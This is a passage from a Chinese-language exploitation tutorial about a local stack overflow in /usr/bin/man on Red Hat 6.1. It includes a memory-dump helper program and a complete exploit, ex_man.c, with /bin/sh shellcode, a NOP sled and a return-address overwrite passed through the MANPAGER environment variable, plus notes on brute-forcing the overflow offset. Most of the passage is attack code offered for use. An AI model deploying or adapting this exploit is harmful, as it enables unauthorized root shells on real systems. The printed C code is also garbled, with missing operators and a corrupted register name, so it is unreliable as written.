这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力
猜测调整了。
我还碰到一个问题,该exploit code在securecrt或者crt下执行都无法取得shell,
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint
6. 一个辅助观察execle()之后内存布局的小程序
/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define success 0
#define failure -1
#define envdata 0xbfffff00
#define envdatalen 256
void outputbinary ( const unsigned char * bytearray, const size_t bytearraylen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "bytearray [ %lu bytes ] ----> \n", bytearraylen );
if ( bytearraylen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = bytearraylen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "x ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-x", bytearray );
}
else
{
fprintf( stderr, " x", bytearray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)bytearray ) ) */
if ( ( bytearray >= ' ' ) && ( bytearray <= 255 ) )
{
fprintf( stderr, "%c", bytearray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = bytearraylen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "x ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-x", bytearray );
}
else
{
fprintf( stderr, " x", bytearray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( bytearray >= ' ' ) && ( bytearray <= 255 ) )
{
fprintf( stderr, "%c", bytearray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputbinary */
int main ( int argc, char * argv[] )
{
u_char * envdata = ( u_char * )envdata;
size_t envdatalen = envdatalen;
if ( argc > 1 )
{
/* 采用16进制 */
envdata = ( u_char * )strtoul( argv[1], null, 16 );
if ( argc > 2 )
{
/* 采用10进制 */
envdatalen = ( size_t )strtoul( argv[2], null, 10 );
}
}
fprintf( stderr, "usage: %s [ envdata ] [ envdatalen ]\n", argv[0] );
fprintf( stderr, "envdata = %p\n", envdata );
fprintf( stderr, "envdatalen = %lu\n", envdatalen );
outputbinary( envdata, envdatalen );
return( success );
} /* end of main */
程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个
地方修改一下:
#define vulprogram "./ev"
execle( vulprogram, vulprogram, "0xbfffff00", null, env );
这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:
cp ev usrbin_man
#define vulprogram "./usrbin_man"
execle( vulprogram, vulprogram, "0xbfffff00", null, env );
此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。
这种技术手段适用于sparc/solaris平台,我们利用它可以确定很多关键性地址,可
以调整那些需要n字节边界对齐的地方。
7. 编写针对常规环境下的溢出攻击程序
--------------------------------------------------------------------------
/*
* file : ex_man.c for redhat 6.1 /usr/bin/man
* author : kil3r of lam3rz
* rewriten : warning3 < mailto: warning3@isbase.com >
* complie : gcc -o ex_man ex_man.c
* usage : ./ex_man
* date : 2000-05-16
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define vulprogram "/usr/bin/man"
#define vulpoint 4067
#define nop 0x90
#define success 0
#define failure -1
#define offset 2000
unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */
int main ( int argc, char * argv[] )
{
char * env[2];
u_long * pointer;
u_long retaddress;
char vulbuf[ vulpoint 5 ];
memset( vulbuf, nop, vulpoint 5 );
memcpy( vulbuf vulpoint - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );
retaddress = get_esp() offset;
pointer = ( u_long * )( vulbuf vulpoint );
*pointer = retaddress;
fprintf( stderr, "retaddress = 0xx\n", retaddress );
memcpy( vulbuf, "manpager=", 9 );
vulbuf[ vulpoint 4 ] = '\0';
env[0] = vulbuf;
env[1] = null;
execle( vulprogram, vulprogram, "ls", null, env );
return( success );
} /* end of main */
发表评论